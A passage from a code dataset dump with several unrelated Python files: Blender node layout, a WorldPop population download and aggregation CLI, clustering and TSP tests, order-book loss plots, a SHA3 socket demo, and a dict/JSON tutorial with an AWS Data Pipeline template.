mu.Vector((420, 0))\n elif i % per_row == 0:\n it += 1\n o -= o\n else:\n o += 1\n\n if i != 0:\n cut_outputs[i].location = mu.Vector((420, -(y * it) - (140 * o)))\n\n y = 0\n it = 0\n for i in range(0, len(render_layers)-1):\n if i == 0:\n render_layers[i].location = mu.Vector((580, 0))\n elif i % per_row == 0:\n y += 580\n it -= it\n render_layers[i].location = mu.Vector((580 + it * 420, 0 - y))\n else:\n render_layers[i].location = mu.Vector((580 + it * 420, 0 - y))\n\n it += 1\n\n y = 0\n it = 0\n for i in range(0, len(id_masks)):\n if i == 0:\n id_masks[i].location = mu.Vector((840, 0))\n elif i % per_row == 0:\n y += 580\n it -= it\n id_masks[i].location = mu.Vector((840 + it * 420, 0 - y))\n else:\n id_masks[i].location = mu.Vector((840 + it * 420, 0 - y))\n\n it += 1\n\n y = 150\n it = 0\n for i in range(0, len(outputs)):\n if i == 0:\n outputs[i].location = mu.Vector((840, -150))\n elif i % per_row == 0:\n y += 580\n it -= it\n outputs[i].location = mu.Vector((840 + it * 420, 0 - y))\n else:\n outputs[i].location = mu.Vector((840 + it * 420, 0 - y))\n\n it += 1\n\n","repo_name":"SnarkyGoblin092/Synthdat","sub_path":"construct.py","file_name":"construct.py","file_ext":"py","file_size_in_byte":13345,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"38458667682","text":"import json\nimport logging\nimport os\nimport tempfile\nimport typing\nfrom functools import cached_property\n\nimport click\nimport geopandas as gpd\nimport openhexa\nimport rasterio\nimport requests\nfrom fsspec import AbstractFileSystem\nfrom fsspec.implementations.http import HTTPFileSystem\nfrom fsspec.implementations.local import LocalFileSystem\nfrom gcsfs import GCSFileSystem\nfrom rasterio.crs import CRS\nfrom rasterstats import zonal_stats\nfrom requests.adapters import HTTPAdapter\nfrom requests.exceptions import HTTPError\nfrom s3fs import S3FileSystem\nfrom urllib3.util import Retry\n\n# common is a script to set parameters on production\ntry:\n import common # noqa: F401\nexcept ImportError as e:\n # ignore import error -> work anyway (but define logging)\n print(f\"Common code import error: {e}\")\n logging.basicConfig(\n format=\"%(asctime)s %(levelname)s %(message)s\",\n level=logging.INFO,\n datefmt=\"%Y-%m-%d %H:%M:%S\",\n )\n\nlogger = logging.getLogger(__name__)\noh = openhexa.OpenHexaContext()\ndag = oh.get_current_dagrun()\n\n\ndef filesystem(target_path: str) -> AbstractFileSystem:\n \"\"\"Guess filesystem based on path\"\"\"\n\n client_kwargs = {}\n if \"://\" in target_path:\n target_protocol = target_path.split(\"://\")[0]\n if target_protocol == \"s3\":\n fs_class = S3FileSystem\n client_kwargs = {\"endpoint_url\": os.environ.get(\"AWS_S3_ENDPOINT\")}\n elif target_protocol == \"gcs\":\n fs_class = GCSFileSystem\n elif target_protocol == \"http\" or target_protocol == \"https\":\n fs_class = HTTPFileSystem\n else:\n raise ValueError(f\"Protocol {target_protocol} not supported.\")\n else:\n fs_class = LocalFileSystem\n\n return fs_class(client_kwargs=client_kwargs)\n\n\ndef _s3_bucket_exists(fs: S3FileSystem, bucket: str) -> bool:\n \"\"\"Check if a S3 bucket exists.\"\"\"\n try:\n fs.info(f\"s3://{bucket}\")\n return True\n except FileNotFoundError:\n return False\n\n\n@click.group()\ndef cli():\n pass\n\n\n@cli.command()\n@click.option(\"--country\", \"-c\", type=str, required=True, help=\"Country ISO-A3 code\")\n@click.option(\n \"--dataset\", \"-d\", type=str, default=\"cic2020_100m\", help=\"Worldpop dataset alias\"\n)\n@click.option(\"--year\", \"-y\", type=int, default=2020, help=\"Year of interest\")\n@click.option(\"--output-dir\", \"-o\", type=str, required=True, help=\"Output directory\")\n@click.option(\n \"--overwrite\", is_flag=True, default=False, help=\"Overwrite existing files\"\n)\ndef download(country: str, dataset: str, year: int, output_dir: str, overwrite: bool):\n \"\"\"Download WorldPop data.\"\"\"\n fs = filesystem(output_dir)\n fs.makedirs(output_dir, exist_ok=True)\n\n if len(country) != 3:\n msg = f\"{country} is not a valid ISO-A3 country code\"\n dag.log_message(\"ERROR\", msg)\n raise ValueError(msg)\n\n if dataset not in DATASETS:\n msg = f\"{dataset} is not a valid WorldPop dataset\"\n dag.log_message(\"ERROR\", msg)\n raise ValueError(msg)\n\n fs.makedirs(output_dir, exist_ok=True)\n\n if len(fs.ls(output_dir)) > 0:\n if overwrite:\n msg = f\"Data found in {output_dir} will be overwritten\"\n logger.info(msg)\n dag.log_message(\"WARNING\", msg)\n else:\n msg = f\"Data found in {output_dir}, skipping download\"\n logger.info(msg)\n dag.log_message(\"WARNING\", msg)\n dag.progress_update(50)\n return\n\n worldpop = WorldPop(country, dataset)\n if year not in worldpop.years:\n msg = f\"{year} not available for provided dataset\"\n dag.log_message(\"ERROR\", msg)\n raise ValueError(msg)\n\n with tempfile.TemporaryDirectory() as tmp_dir:\n tmp_files = worldpop.download(tmp_dir, year)\n dag.progress_update(25)\n for tmp_file in tmp_files:\n fs.put(tmp_file, os.path.join(output_dir, os.path.basename(tmp_file)))\n dag.progress_update(50)\n\n dag.log_message(\"INFO\", \"Data download succeeded\")\n\n\n@cli.command()\n@click.option(\n \"--src-boundaries\", type=str, required=True, help=\"Boundaries geographic file\"\n)\n@click.option(\n \"--src-population\", type=str, required=True, help=\"Population raster file\"\n)\n@click.option(\"--dst-file\", type=str, required=True, help=\"Output file\")\n@click.option(\"--overwrite\", is_flag=True, default=False)\ndef aggregate(src_boundaries: str, src_population: str, dst_file: str, overwrite: bool):\n \"\"\"Spatial aggregation of population counts.\"\"\"\n fs_boundaries = filesystem(src_boundaries)\n fs_population = filesystem(src_population)\n\n try:\n fs_population.isdir(src_population)\n except PermissionError:\n dag.log_message(\n \"ERROR\", f\"Permission error when trying to access {src_population}\"\n )\n raise\n\n # if src_population is a dir, just use the first found .tif\n if fs_population.isdir(src_population):\n for fname in fs_population.ls(src_population):\n if fname.lower().endswith(\".tif\") or fname.lower().endswith(\".tiff\"):\n src_population = fname\n break\n\n with tempfile.TemporaryDirectory() as tmp_dir:\n\n tmp_boundaries = os.path.join(tmp_dir, os.path.basename(src_boundaries))\n fs_boundaries.get(src_boundaries, tmp_boundaries)\n\n tmp_population = os.path.join(tmp_dir, os.path.basename(src_population))\n fs_population.get(src_population, tmp_population)\n\n dag.progress_update(75)\n\n tmp_count = os.path.join(tmp_dir, \"population_count.gpkg\")\n count = count_population(\n src_boundaries=tmp_boundaries, src_population=tmp_population\n )\n\n if dst_file.lower().endswith(\".gpkg\"):\n count.to_file(tmp_count, driver=\"GPKG\")\n elif dst_file.lower().endswith(\".csv\"):\n count.drop(\"geometry\", axis=1).to_csv(tmp_count, index=False)\n else:\n msg = \"Unspported extension for output file\"\n dag.log_message(\"ERROR\", msg)\n raise ValueError(msg)\n\n fs = filesystem(dst_file)\n fs.put(tmp_count, dst_file)\n\n dag.log_message(\"INFO\", \"Spatial aggregagation succeeded\")\n dag.progress_update(100)\n\n dag.add_outputfile(os.path.basename(dst_file), dst_file)\n\n\nAPI_URL = \"https://hub.worldpop.org/rest\"\nDOWNLOAD_URL = \"https://data.worldpop.org\"\n\nDATASETS = [\n \"wpgp\", # Unconstrained individual countries 2000-2020 (100 m)\n \"wpgpunadj\", # Unconstrained individual countries 2000-2020 UN adjusted (100 m)\n \"wpic1km\", # Unconstrained individual countries 2000-2020 (1 km)\n \"wpicuadj1km\", # Unconstrained individual countries 2000-2020 UN adjusted (1 km)\n \"cic2020_100m\", # Constrained Individual countries 2020 (100 m)\n \"cic2020_UNadj_100m\", # Constrained Individual countries 2020 UN adjusted (100 m)\n]\nDEFAULT_DATASET = \"cic2020_100m\"\n\n\nclass WorldPop:\n def __init__(self, country: str, dataset: str):\n\n if len(country) == 3:\n self.country = country\n else:\n msg = f\"{country} is not a valid ISO-A3 country code\"\n dag.log_message(\"ERROR\", msg)\n raise ValueError(msg)\n\n if dataset in DATASETS:\n self.dataset = dataset\n else:\n msg = f\"{dataset} is not a valid dataset\"\n dag.log_message(\"ERROR\", msg)\n raise ValueError(msg)\n\n retry_adapter = HTTPAdapter(\n max_retries=Retry(\n total=3,\n status_forcelist=[429, 500, 502, 503, 504],\n allowed_methods=[\"HEAD\", \"GET\"],\n )\n )\n self.s = requests.Session()\n self.s.mount(\"https://\", retry_adapter)\n self.s.mount(\"http://\", retry_adapter)\n\n @property\n def alias(self):\n \"\"\"Dataset alias.\"\"\"\n # constrained population maps\n if self.constrained:\n if self.resolution != 100:\n raise ValueError(\n f\"Constrained dataset only available for {self.resolution} m resolution\"\n )\n if self.un_adjusted:\n return \"cic2020_100m\"\n else:\n return \"cic2020_UNadj_100m\"\n\n # unconstrained population maps\n else:\n if self.un_adjusted and self.resolution == 100:\n return \"wpgpunadj\"\n elif not self.un_adjusted and self.resolution == 100:\n return \"wpgp\"\n elif self.un_adjusted and self.resolution == 1000:\n return \"wpic1km\"\n elif not self.un_adjusted and self.resolution == 1000:\n return \"wpicuadj1km\"\n\n @cached_property\n def data(self) -> dict:\n \"\"\"Available data.\"\"\"\n r = self.s.get(f\"{API_URL}/data/pop/{self.dataset}?iso3={self.country}\")\n try:\n r.raise_for_status()\n except HTTPError as e:\n msg = f\"HTTP error {e.response.status_code}: {e.response.text}\"\n dag.log_message(\"ERROR\", msg)\n raise\n return r.json()[\"data\"]\n\n @cached_property\n def years(self) -> typing.List[int]:\n \"\"\"Available years.\"\"\"\n years_ = []\n for ds in self.data:\n if \"popyear\" in ds:\n years_.append(int(ds[\"popyear\"]))\n return years_\n\n def meta(self, year: int) -> dict:\n \"\"\"Access dataset metadata for a given year.\"\"\"\n if year not in self.years:\n msg = f\"Year {year} not available for dataset {self.dataset}\"\n dag.log_message(\"ERROR\", msg)\n raise ValueError(msg)\n\n for ds in self.data:\n if ds.get(\"popyear\") == str(year):\n return ds\n\n def _download(self, url: str, dst_file: str):\n \"\"\"Download file from URL.\"\"\"\n with tempfile.NamedTemporaryFile(suffix=dst_file.split(\".\")[-1]) as tmp_file:\n\n with self.s.get(url, stream=True, timeout=30) as r:\n\n try:\n r.raise_for_status()\n except HTTPError:\n dag.log_message(\"ERROR\", \"HTTP connection error\")\n raise\n with open(tmp_file.name, \"wb\") as f:\n for chunk in r.iter_content(chunk_size=1024 * 1024):\n if chunk:\n f.write(chunk)\n\n fs = filesystem(dst_file)\n fs.put(tmp_file.name, dst_file)\n\n def download(\n self, dst_dir: str, year: int = 2020, overwrite: bool = False\n ) -> typing.List[str]:\n \"\"\"Download dataset and metadata.\"\"\"\n fs = filesystem(dst_dir)\n\n try:\n fs.makedirs(dst_dir, exist_ok=True)\n except PermissionError:\n dag.log_message(\n \"ERROR\", f\"Permission error when trying to access {dst_dir}\"\n )\n raise\n\n meta = self.meta(year)\n dst_files = []\n\n for url in meta[\"files\"]:\n\n fname = url.split(\"/\")[-1]\n dst_file = os.path.join(dst_dir, fname)\n\n if fs.exists(dst_file) and not overwrite:\n logger.warn(f\"{dst_file} already exists, skipping download\")\n dag.log_message(\n \"WARNING\", f\"{dst_file} already exists, skipping download\"\n )\n continue\n\n logger.info(f\"Downloading {url}\")\n dag.log_message(\"INFO\", f\"Downloading {fname}\")\n self._download(url=url, dst_file=dst_file)\n dst_files.append(dst_file)\n\n # write dataset metadata\n dst_file = os.path.join(dst_dir, \"metadata.json\")\n if not fs.exists(dst_file) or overwrite:\n with open(dst_file, \"w\") as f:\n json.dump(meta, f)\n dst_files.append(dst_file)\n\n return dst_files\n\n\ndef count_population(src_boundaries: str, src_population: str) -> gpd.GeoDataFrame:\n \"\"\"Count population in each boundary.\n\n Parameters\n ----------\n src_boundaries : str\n Path to input boundaries file (geojson, geopackage, shapefile)\n src_population : str\n Path to input population raster (geotiff)\n\n Returns\n -------\n geodataframe\n Copy of the input boundaries geodataframe with population statistics.\n \"\"\"\n try:\n boundaries = gpd.read_file(src_boundaries)\n except Exception:\n dag.log_message(\"ERROR\", f\"Cannot read {src_boundaries}\")\n raise\n\n msg = f\"Performing spatial aggregation on {len(boundaries)} polygons\"\n logger.info(msg)\n dag.log_message(\"INFO\", msg)\n\n with rasterio.open(src_population) as pop:\n\n # make sure boundaries and population raster have same CRS\n if not boundaries.crs:\n boundaries.crs = CRS.from_epsg(4326)\n if boundaries.crs != pop.crs:\n boundaries = boundaries.to_crs(pop.crs)\n\n stats = zonal_stats(\n boundaries.geometry,\n pop.read(1),\n affine=pop.transform,\n stats=[\"sum\"],\n nodata=pop.nodata,\n )\n count = boundaries.copy()\n count[\"population\"] = [s[\"sum\"] for s in stats]\n\n return count\n\n\nif __name__ == \"__main__\":\n\n cli()\n","repo_name":"BLSQ/openhexa-pipelines","sub_path":"worldpop/worldpop.py","file_name":"worldpop.py","file_ext":"py","file_size_in_byte":13136,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"28204441393","text":"from ClusterGeneration.Agglomerate import buildClusters, agglomerate\nfrom ClusterGeneration.GreedyClustering import greedy_clustering\nfrom Graphing.graphTesting import main_test\nfrom TSP.TravelingSalesPerson import solve_all_clusters\n\n\"\"\"\ndef make_annotations(pos, text, M, font_size=10, font_color='rgb(250,250,250)'):\n L=len(pos)\n labels = range(L)\n if len(text)!=L:\n raise ValueError('The lists pos and text must have the same len')\n annotations = []\n for k in range(L):\n annotations.append(\n dict(\n text=labels[k], # or replace labels with a different list for the text within the circle\n x=pos[k][0], y=2*M-pos[k][1],\n xref='x1', yref='y1',\n font=dict(color=font_color, size=font_size),\n showarrow=False)\n )\n return annotations\n\n\ndef dendogram(Clusters):\n \n clusterList = Clusters.get_all_clusters()\n G = nx.Graph()\n G.add_nodes_from(clusterList.keys())\n G.add_node(\"root\")\n roots = list()\n for k in clusterList.keys():\n children = clusterList[k].get_children()\n parent = clusterList[k].get_parent()\n if parent is not None:\n G.add_edge(parent, k)\n else:\n roots.append(k)\n\n for r in roots:\n G.add_edge(\"root\", r)\n\n print(\"Nodes of graph: \")\n print(G.nodes())\n print(\"Edges of graph: \")\n print(G.edges())\n\n nx.draw(G)\n plt.show()\n \n clusterList = Clusters.get_all_clusters()\n nr_vertices = len(clusterList) + 1\n v_label = list(map(str, range(nr_vertices)))\n # Construct tree graph from clusterset\n G = Graph(directed=True)\n G.add_vertex()\n G.add_vertices(nr_vertices-1)\n\n idxof = dict()\n roots = list()\n\n for i, k in enumerate(clusterList.keys()):\n idxof[k] = i+1\n\n for i, k in enumerate(clusterList.keys()):\n parent = clusterList[k].get_parent()\n if parent is not None:\n idx = idxof[parent]\n G.add_edge(idx, i+1)\n else:\n roots.append(i+1)\n\n for r in roots:\n G.add_edge(0, r)\n\n lay = G.layout('rt')\n position = {k: lay[k] for k in range(nr_vertices)}\n Y = [lay[k][1] for k in range(nr_vertices)]\n M = max(Y)\n\n es = EdgeSeq(G)\n E = [e.tuple for e in G.es]\n\n L = len(position)\n Xn = [position[k][0] for k in range(L)]\n Yn = [2*M-position[k][1] for k in range(L)]\n Xe = []\n Ye = []\n for edge in E:\n Xe += [position[edge[0]][0], position[edge[1]][0], None]\n Ye += [2 * M - position[edge[0]][1], 2 * M - position[edge[1]][1], None]\n\n labels = v_label\n\n fig = go.Figure()\n fig.add_trace(go.Scatter(x=Xe,\n y=Ye,\n mode='lines',\n line=dict(color='rgb(210,210,210)', width=1),\n hoverinfo='none'\n ))\n fig.add_trace(go.Scatter(x=Xn,\n y=Yn,\n mode='markers',\n name='bla',\n marker=dict(symbol='circle-dot',\n size=18,\n color='#6175c1', # '#DB4551',\n line=dict(color='rgb(50,50,50)', width=1)\n ),\n text=labels,\n hoverinfo='text',\n opacity=0.8\n ))\n\n axis = dict(showline=False, # hide axis line, grid, ticklabels and title\n zeroline=False,\n showgrid=False,\n showticklabels=False,\n )\n\n fig.update_layout(title='Tree with Reingold-Tilford Layout',\n annotations=make_annotations(position, v_label, M),\n font_size=12,\n showlegend=False,\n xaxis=axis,\n yaxis=axis,\n margin=dict(l=40, r=40, b=85, t=100),\n hovermode='closest',\n plot_bgcolor='rgb(248,248,248)'\n )\n fig.show()\n\n \n # Tree structure\n nodes = Clusters.get_all_clusters()\n leaves = set(n for n in nodes if n.get_children() is None)\n inner_nodes = set(n for n in nodes if n.get_children() is not None)\n\n # Compute size of each subtree\n subtree = dict((n, [n]) for n in leaves)\n for u in inner_nodes:\n children = set()\n while(len(nodes) > 0):\n v = nodes.pop()\n children.add(v)\n nodes += v.children()\n subtree[u] = sorted(children & leaves)\n\n # Order inner_nodes by subtree size, root is last\n inner_nodes.sort(key=lambda n: len(subtree[n]))\n\n leaves.sort()\n index = dict((tuple([n]), i) for i, n in enumerate(leaves))\n Z = []\n k = len(leaves)\n for i, n in enumerate(inner_nodes):\n children = n.get_children()\n x = children[0]\n for y in children[1:]:\n z = tuple(subtree[x] + subtree[y])\n i, j = index[tuple(subtree[x])], index[tuple(subtree[y])]\n Z.append([i, j, float(len(subtree[n])), len(z)])\n index[z] = k\n subtree[z] = list(z)\n x = z\n k += 1\n \"\"\"\n\n\nif __name__ == \"__main__\":\n graph, matrix, d = main_test()\n\n Clusters = buildClusters(matrix, clusterLimit, b)\n coord_mat = graph.get_coord_dict()\n\n #print(\"merging clusters:\")\n agglomerate(Clusters)\n\n greedyClusters = greedy_clustering(matrix, clusterLimit, b)\n print(greedyClusters)\n\n roots = []\n greedy_roots = greedyClusters.get_all_clusters().values()\n for c in Clusters.get_all_clusters().values():\n if c.get_parent() is None:\n roots.append(c)\n print(c)\n\n solve_all_clusters(Clusters, roots)\n sum = 0\n for c in roots:\n sol = c.get_solution()\n sum += sol[0]\n\n solve_all_clusters(greedyClusters, greedy_roots)\n greedy_sum = 0\n for c in greedy_roots:\n sol = c.get_solution()\n greedy_sum += sol[0]\n\n print(\"Cluster sum:\", sum)\n print(\"Greedy sum:\", greedy_sum)\n","repo_name":"howiemalowie/MasterThesis","sub_path":"ClusterGeneration/ClusterTesting.py","file_name":"ClusterTesting.py","file_ext":"py","file_size_in_byte":6250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26839729070","text":"from src.euphemia.order_books import *\nfrom src.analysis.evaluate import ACC, smape\nimport numpy as np\n\ndef compute_losses(model_wrapper, err_func, n=None):\n Yv, Yhatv, Ypo, Yhatpo, Yp, Yhatp, past_prices, real_prices, datetimes = model_wrapper.load_and_reshape()\n if n is None:\n n = Yv.shape[0]\n\n # Compute duals and losses\n duals = np.zeros(n)\n for idx, dt in enumerate(datetimes[:n]): \n ref_price = real_prices[idx]\n OB = TorchOrderBook(np.concatenate(\n (Yv[idx].reshape(-1, 1),\n Ypo[idx].reshape(-1, 1),\n Yp[idx].reshape(-1, 1)), axis=1))\n duals[idx] = np.array([o.dual_function(ref_price) for o in OB.orders]).sum()\n \n Vloss = err_func(Yv[1:n], Yhatv[1:n])\n Ploss = err_func(Yp[1:n], Yhatp[1:n])\n Poloss = err_func(Ypo[1:n], Yhatpo[1:n])\n\n dual_loss = err_func(duals[1:n], duals[0:n-1])\n price_loss = err_func(real_prices[1:n], past_prices[1:n])\n \n return Vloss, Ploss, Poloss, dual_loss, price_loss\n\ndef plot_losses(Vloss, Ploss, Poloss, dual_loss, price_loss, OBs):\n fig, ax = plt.subplots(1, figsize=(19.2, 10.8))\n ax.plot(range(n-1), price_loss, label = \"Past Price Error\", c=\"k\", linewidth=4)\n ax.plot(range(n-1), dual_loss, label = \"Dual Difference Error\", c=\"orange\",\n linewidth=4)\n\n ax.plot(range(n-1), Vloss.mean(axis=1), label = \"V\", c=\"r\", linewidth=4)\n ax.plot(range(n-1), Ploss.mean(axis=1), label = \"P\", c=\"b\", linewidth=4)\n ax.plot(range(n-1), Poloss.mean(axis=1), label = \"Po\", c=\"g\", linewidth=4)\n \n for cmap, loss in zip([\"Reds\", \"Blues\", \"Greens\"], [Vloss, Ploss, Poloss]):\n c = plt.get_cmap(cmap)\n for i in range(OBs):\n color_index = (i + 1) / (OBs + 1)\n ax.plot(range(n-1), loss[:, i], c=c(color_index), alpha=0.2) \n\n ax.legend()\n plt.show()\n \ndef plot_corrcoef(coefs, OBs):\n fig, ax = plt.subplots(1, figsize=(19.2, 10.8))\n for i, (cmap, label) in enumerate(zip([\"r\", \"b\", \"g\"], [\"V\", \"Po\", \"P\"])):\n data = coefs[i*(OBs+1):(i+1)*(OBs+1), -1]\n xindices = range(i*(OBs+2), (i+1)*(OBs+1)+i)\n ax.bar(xindices, data, width=0.8, edgecolor=\"k\", color=cmap, label=label)\n \n ax.bar(3 * OBs + 7, coefs[-2, -1], width=0.8, edgecolor=\"k\", color=\"orange\",\n label=\"Dual Diff\")\n ax.legend()\n ax.grid(\"on\")\n ax.set_ylabel(\"Corr Coeff\")\n ax.set_title(f\"Error correlation for OBs={OBs}\")\n plt.show()\n \n","repo_name":"Leonardbcm/MOB","sub_path":"src/analysis/ob_forecasting_utils.py","file_name":"ob_forecasting_utils.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10714534925","text":"import socket\nimport datetime as dt\nimport sha3\n\nHOST = socket.gethostbyname(socket.gethostname())\nPORT = 2001\nSER_MSG = b\"Nice to see you\"\nCLI_MSG = 'Hello'\ncount = 0\n\n\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_socket.bind((HOST, PORT))\nserver_socket.settimeout(10)\nserver_socket.listen(1)\n\n\nwhile True:\n\tprint()\n\n\ttry:\n\t\tprint(dt.datetime.now(),': waiting for connection ...', server_socket.getsockname())\n\t\tconn, address = server_socket.accept()\n\t\tprint(dt.datetime.now(),': connection established from.....', conn.getpeername())\n\n\texcept:\n\t\tprint('connection timeout.')\n\t\tbreak\n\n\ttry:\n\t\tsha_cli_msg = sha3.sha3_224(CLI_MSG.encode('utf-8')).hexdigest()\n\t\twhile True:\n\t\t\tcipher_text = conn.recv(1024).decode('utf-8')\n\n\t\t\tif (cipher_text == sha_cli_msg):\n\t\t\t\tprint(' \\n-------- ',count+1,' ------- ')\n\t\t\t\tprint(dt.datetime.now(),': server received msg... Hello')\n\n\t\t\t\tcount += 1\n\n\t\t\t\tprint(dt.datetime.now(),': server sending msg .... ')\n\t\t\t\treturn_cipher = sha3.sha3_224(SER_MSG).hexdigest()\n\t\t\t\tconn.sendall(return_cipher.encode('utf-8'))\n\n\n\t\t\tif not cipher_text:\n\t\t\t\tbreak\n\n\n\n\tfinally:\n\t\t# Closing the connection\n\t\tprint('\\n',dt.datetime.now(),': Closing connection ....\\n','----------------------------------------------------')\n\t\tconn.close()\n","repo_name":"ganudeep4/Encryptions","sub_path":"SHA/sha_se.py","file_name":"sha_se.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40540899749","text":"N=int(input())\r\n\r\nfor _ in range(N):\r\n P=int(input())\r\n A_List=[]\r\n B_List=[]\r\n for _ in range(P):\r\n A, B=input().split()\r\n A=int(A)\r\n A_List.append(A)\r\n B_List.append(B)\r\n\r\n idx=A_List.index(max(A_List))\r\n print(B_List[idx])","repo_name":"SeungAhSon/Baekjoon","sub_path":"백준/Bronze/11098. 첼시를 도와줘!/첼시를 도와줘!.py","file_name":"첼시를 도와줘!.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"28707256189","text":"\nfrom __future__ import print_function # need this to allow definition of SITE & EXPECTED\n\n\nimport os\nimport sys\nfrom datetime import datetime\nimport json\n#import ijson\n\n#SITE = os.environ['site'] # URL of the site to check, stored in the site environment variable\n#EXPECTED = os.environ['expected'] # String expected to be on the page, stored in the expected variable\n\ndef main(args):\n\t\n\t# '''\n\t# try:\n\n\t# except Exception as e:\n\t# \traise\n\t# else:\n\t# \tpass\n\t# finally:\n\t# \tpass\n\n\t# Associating list elements\n\t# also know as an associative array, ie. key/value pairs\n\n\t# Dictionaries are the final type of data container available in Python.\n\t# In summary, the various types are:\n\t# Variable - stores a single value\n\t# List - stores multiple values in an ordered index\n\t# Tuple - stores multiple fixed values in a sequence\n\t# Set - stores multiple unique values in an unordered collection\n\t# Dictionary - stores multiple unordered key:value pairs\t\n\n\t# '''\n\t# initialize a dictionary they display its key:value contents\n\t#dict = {'name':'Bob', 'ref':'Python', 'sys':'Win'}\n\t#print ('Dictionary:', dict )\n\n\t# next, display a single value referenced by its key\n\t#print ('\\nReference:-->', dict['ref'] )\n\t#print ('\\n')\n\n\tdict = {'key1':'value1', 'key2':'value2', 'key3':'value3'}\n\tprint('Dict-->', dict)\n\tprint('Dict-->' + str(dict))\n\n\t# select specific element from dict\n\tprint(\"Reference, key2 value2-->\", dict['key2'])\n\n\t# delete one pair from the dictionary and add a replacement pair then display the new key:value contents\n\t# del dict['name']\n\t# dict['user'] = 'Tom'\n\t# print ('Dictionary:', dict )\n\n\t# delete one pair from the dictionary, and add a replacemetn pair, then display the new key:value contents\n\tdel dict['key1']\n\tdict['key4'] = 'Value4'\n\tprint(\"List new dict-->\", dict )\n\tprint(\"List new sorted(dict) - returns only a key list-->\", sorted(dict))\n\n\n\tdict = {\n\t 'first_name': 'Guido',\n\t 'second_name': 'Rossum',\n\t 'titles': ['BDFL', 'Developer'],\n\t}\n\tdict2json = json.dumps(dict)\n\tprint(\"dict2json-->\", dict2json)\n\tprint(\"dict titles-->\", dict['titles'])\n\tprint(\"dict first element of titles-->\", dict['titles'][1])\n\n\tdict = {\n\t\t\"objects\": [\n\t\t\t\t {\n\t\t\t\t \"failureAndRerunMode\": \"CASCADE\",\n\t\t\t\t \"resourceRole\": \"DataPipelineDefaultResourceRole\",\n\t\t\t\t \"role\": \"DataPipelineDefaultRole\",\n\t\t\t\t \"pipelineLogUri\": \"s3://mdj-bucket-logs/logs/\",\n\t\t\t\t \"scheduleType\": \"ONDEMAND\",\n\t\t\t\t \"name\": \"Default\",\n\t\t\t\t \"id\": \"Default\"\n\t\t\t\t },\n\t\t\t\t {\n\t\t\t\t \"name\": \"CliActivity\",\n\t\t\t\t \"id\": \"CliActivity\",\n\t\t\t\t \"runsOn\": {\n\t\t\t\t \"ref\": \"Ec2Instance\"\n\t\t\t\t },\n\t\t\t\t \"type\": \"ShellCommandActivity\",\n\t\t\t\t \"command\": \"(sudo yum -y update aws-cli) && (#{myAWSCLICmd})\"\n\t\t\t\t },\n\t\t\t\t {\n\t\t\t\t \"instanceType\": \"t1.micro\",\n\t\t\t\t \"name\": \"Ec2Instance\",\n\t\t\t\t \"id\": \"Ec2Instance\",\n\t\t\t\t \"type\": \"Ec2Resource\",\n\t\t\t\t \"terminateAfter\": \"50 Minutes\"\n\t\t\t\t }\n\t\t\t\t ],\n\t\t\"parameters\": [\n\t\t \t\t\t{\n\t\t \t\t\t \"watermark\": \"aws [options] <command> <subcommand> [parameters]\",\n\t\t \t\t\t \"description\": \"AWS CLI command\",\n\t\t \t\t\t \"id\": \"myAWSCLICmd\",\n\t\t \t\t\t \"type\": \"String\"\n\t\t \t\t\t}\n\t\t],\n\t\t\"values\": {\n\t\t\t\t \"myAWSCLICmd\": \"aws s3 ls s3://mdj-bucket-001/\"\n\t\t\t\t\t}\n}\n\n\n\tdict2jsondumps = json.dumps(dict)\n\tdict2jsonloads = json.loads(dict2jsondumps)\n\tprint(\"\\ndict2jsondumps-->\", dict2jsondumps)\n\tprint(\"\\ndict2jsonloads-->\", dict2jsonloads)\n\n# json_str = json.dumps(data)\n# Here is how you turn a JSON-encoded string back into a Python data structure:\n# data = json.loads(json_str)\n\n\t# print(\"\\ndict2json AWS-->\", dict)\n\t# print(\"\\ndict2json AWS myAWSCLICmd-->\", dict['values']['myAWSCLICmd'])\n\t# print(\"\\nObject-->paramters-->\", dict['parameters'] )\n\t# print(\"\\nObject-->paramters-->watermark-->\", dict['parameters'][0]['watermark'] )\n\t#Object-->paramters-->watermark {'id': 'myAWSCLICmd', 'type': 'String', 'description': 'AWS CLI command', 'watermark': 'aws [options] <command> <subcommand> [parameters]'}\n\t# print(\"\\nObjects-->0-->pipelineLogUri-->\", dict['objects'][0]['pipelineLogUri'] )\n\t\n\t# list all elements of objects within loop\n\t# columns = list(dict)\n\t#column_names = [col[\"fieldName\"] for col in columns]\n\n\t# the col in columns will return: objects, values, parameters\n\t# column_names = []\n\t# for col in columns:\n\t# \tprint(\"\\ncol-->\", column_names) \n\t# \tcolumn_names.append(col)\n\n\t# print(\"\\nColumn_names-->\", column_names)\n\n\t\n#import ijson\n\n#filename = \"md_traffic.json\"\n#with open(filename, 'r') as f:\n #objects = ijson.items(f, 'meta.view.columns.item')\n\n\t#objects = ijson.items(f, col)\n \n\t#columns = [col]\n\n\n\t# print(\"\\ncolumns-->\", [columns]) \n\t# for row in [column_names]:\n\t# \tprint(\"dict[column_names]-->\", row)\t\n\t# \tfor item in row:\n\t# \t\t#pass\n\t# \t\tprint(\"item-->\", row[column_names.index(item)]) \n\t\t\t\n\n\n\nif __name__ == '__main__':\n\t\tprint ('Start of dict.py at-->' + format(str(datetime.now())))\n\t\tmain(sys.argv[1:])\n\t\tprint ('\\nEnd of dict.py at-->' + format(str(datetime.now())))\n\n\t\n\t","repo_name":"mdjukic/repos","sub_path":"q_python_scripts/json2.py","file_name":"json2.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9571314328","text":"\nimport argparse\nimport glob\nimport json\nimport os\nimport os.path as osp\nimport numpy as np\nfrom shapely.geometry import Polygon, MultiPolygon\n\n\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if 